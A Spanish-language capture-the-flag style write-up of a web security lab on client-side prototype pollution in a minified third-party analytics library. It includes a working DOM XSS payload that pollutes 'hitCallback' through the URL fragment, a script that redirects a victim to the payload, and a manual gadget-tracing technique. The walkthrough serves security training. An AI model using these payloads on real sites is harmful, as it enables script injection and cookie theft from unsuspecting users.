> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/prototype-pollution/client-side-prototype-pollution-in-third-party-libraries.md).

# Prototype Pollution del lado del cliente en bibliotecas de terceros

### Contaminación de prototipos del lado del cliente en bibliotecas de terceros

#### Contexto del laboratorio

Este laboratorio es vulnerable a una **XSS en el DOM mediante una contaminación de prototipo del lado del cliente**. / La particularidad aquí es que el vulnerable **gadget se encuentra en una biblioteca JavaScript de terceros**, cuyo código está **minificado**, lo que hace que el análisis manual sea más complejo.

El laboratorio se inspira en vulnerabilidades reales destacadas por **PortSwigger Research**, en particular en el artículo Widespread prototype pollution gadgets de **Gareth Heyes**.

Objetivo final:/ \*\* Ejecutar `alert(document.cookie)` en el navegador de la víctima\*\*, usando el servidor de explotación proporcionado.

### Enfoque recomendado: ataque automático con DOM Invader

#### Activación de DOM Invader

1. Abre el navegador integrado para **Burp Suite**.

<figure><img src="/files/fc05db3e9317fec695f2fd8aaf84ce5b37552f85" alt=""><figcaption></figcaption></figure>

* Comprueba que la **DOM Invader** extensión está activa.

<figure><img src="/files/de1fefcbe5f31c83cf76221670fb78db9c7fce33" alt=""><figcaption></figcaption></figure>

Activar:

* **DOM Invader está activado**
* **Tipo de ataque: contaminación de prototipos**

<figure><img src="/files/288081c15e0cb8b442f82f91207cd3adcec06258" alt=""><figcaption></figcaption></figure>

#### Identificación de la fuente vulnerable

* En el **DOM Invader** pestaña, una **fuente de contaminación de prototipos** se detecta automáticamente.
* DOM Invader indica que la contaminación es posible a través del \*\* fragmento de URL (`#`)\*\*, y no mediante configuraciones convencionales (`?`).

<figure><img src="/files/399b499c69ebabb219aecf94b7e7079dbba2521b" alt=""><figcaption></figcaption></figure>

#### Descubrimiento automático de gadgets

1. Iniciar **Buscar gadgets** desde DOM Invader.

<figure><img src="/files/3cf2e9a12a8053e2c4a9f9edaf64bd3929415d3a" alt=""><figcaption></figcaption></figure>

Se identifica un gadget explotable en una biblioteca de terceros.

Al hacer clic en **Explotar**, DOM Invader confirma la ejecución con una `alert(1)`.

<figure><img src="/files/de449f9cbacc4360c33946a7a83fb0bbf04a095a" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/037a6268a0b610ac5e2b4b52a70e6cf7f520e5a4" alt=""><figcaption></figcaption></figure>

#### Carga útil final (document.cookie)

Carga útil identificada por DOM Invader:

```javascript
#constructor[prototype][hitCallback]=alert%28document.cookie%29
```

Esta carga útil desencadena la alerta que contiene las cookies

<figure><img src="/files/fb69f13a0184fe08a5df12cb439dab8f7635c854" alt=""><figcaption></figcaption></figure>

#### Entrega de la explotación a la víctima

El siguiente código se envía con el **servidor en ejecución**:

```javascript
<script>
    window.location.href = 'https://0aab001004b09f5780ab035a00c40034.web-security-academy.net/#constructor[prototype][hitCallback]=alert%28document.cookie%29';
</script>
```

Cuando la víctima carga la página, se ejecuta JavaScript en su navegador

### Enfoque manual (análisis detallado)

#### Intentos convencionales de contaminación (fallo)

Las siguientes cargas útiles \*\* no funcionan\*\*:

```bash
/?__proto__[foo]=bar
/?__proto__.foo=bar
```

Resultado

```javascript
console.log({}.foo); // undefined
```

<figure><img src="/files/102c387614c6605d2a0e0be48ece0007897da85a" alt=""><figcaption></figcaption></figure>

#### Contaminación mediante fragmento de URL (éxito)

Sin embargo, la contaminación \*\* funciona con `#`\*\*:

```javascript
#__proto__[foo]=bar
#__proto__.foo=bar
```

Esto indica que la fuente vulnerable consume el fragmento de URL

<figure><img src="/files/8caf3d90515aa2307a587eddbaa2774e5700ab4e" alt="" width="563"><figcaption></figcaption></figure>

#### Análisis de la biblioteca de terceros

* Se carga un archivo grande:

/resources/js/ga.js

Aproximadamente 3000 líneas de código minificado.

* Este archivo contiene una devolución de llamada llamada hitCallback, utilizada sin verificación estricta.

<figure><img src="/files/0a5fc02ba928eef99eadfd29925c47097954ec6a" alt=""><figcaption></figcaption></figure>

### Identificación manual de gadgets

#### Técnica de rastreo con `Object.defineProperty`

Para encontrar las propiedades leídas en `Object.prototype`, inyectamos:

```javascript
Object.defineProperty(Object.prototype, 'YOUR-PROPERTY', {
    get() {
        console.trace();
        return 'polluted';
    }
})
```

#### Detención de la ejecución de JavaScript

<figure><img src="/files/bbe65c5bf9173fbd33d09ec3ec0d48a7257789b1" alt=""><figcaption></figcaption></figure>

Al interceptar la respuesta HTML, inyectamos:

```javascript
<script>
    debugger;
</script>
```

<figure><img src="/files/1b4f74825d992d636c4a42abac727124318f3ff4" alt=""><figcaption></figcaption></figure>

El navegador se detiene en \*\*

<figure><img src="/files/df6c74af51d8dcab1add7d462caf15b58982d121" alt=""><figcaption></figcaption></figure>

#### Prueba de propiedades candidatas

Ejemplo con una propiedad no utilizada

```javascript
Object.defineProperty(Object.prototype, 'anonymizeIp', {
    get() {
        console.trace();
        return 'polluted';
    }
})
```

No hay rastro interesante.

<figure><img src="/files/c277d267d27dd342bf9e835d0e16fc02d795bdd0" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/4e1d7911f3e3eeb3780274bc9be2a0a30e3facd1" alt=""><figcaption></figcaption></figure>

#### Descubrimiento de gadget válido: `hitCallback`

```javascript
Object.defineProperty(Object.prototype, 'hitCallback', {
    get() {
        console.trace();
        return 'polluted';
    }
})
```

Resultado:

* `console.trace()` revela una cadena de llamadas desde `ga.js`
* La propiedad se lee bien **y se ejecuta como función**

Este comportamiento confirma que `hitCallback` se invoca como devolución de llamada de JavaScript

```javascript
console.trace() debugger eval code:3:17
    get debugger eval code:3
    get https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:19
    Vc https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:21
    j https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:19
    Fa https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:63
    b https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:19
    O https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:36
    push https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:33
    b https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:19
    <anonymous> https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:84
    Fe https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:84
    <anonymous> https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:84
    <anonymous> https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:84
    <anonymous> https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:84
```

<figure><img src="/files/0c0cb1cd60fd3b0bf465a17ea0ce07c4868f1416" alt=""><figcaption></figcaption></figure>

Este comportamiento confirma que `hitCallback` se invoca como devolución de llamada de JavaScript

```javascript
Error de referencia no capturado: polluted no está definido
    <anonymous> https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:21
```

<figure><img src="/files/c9c3914a601ab3ff91f6114046c56e09637011e2" alt=""><figcaption></figcaption></figure>

* El `hitCallback` el gadget permite una \*\* ejecución arbitraria de JavaScript\*\*, lo que conduce a un **XSS en el DOM**.

```javascript
Zc.prototype.stopPropagation = function () {
      throw 'aborted';
    };
    var Vc = function (a) {
      var b = this;
      this.fb = 0;
      var c = a.get(tc);
      this.Ua = function () {
        0 < b.fb &&
        c &&
        (b.fb--, b.fb || c())
      };
      this.Ja = function () {
        !b.fb &&
        c &&
        setTimeout(c, 10)
      };
      a.set(uc, b, !0)
    };
```

<figure><img src="/files/681d415d5b1d177f788aadf3f7452508f8d887d7" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/prototype-pollution/client-side-prototype-pollution-in-third-party-libraries.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
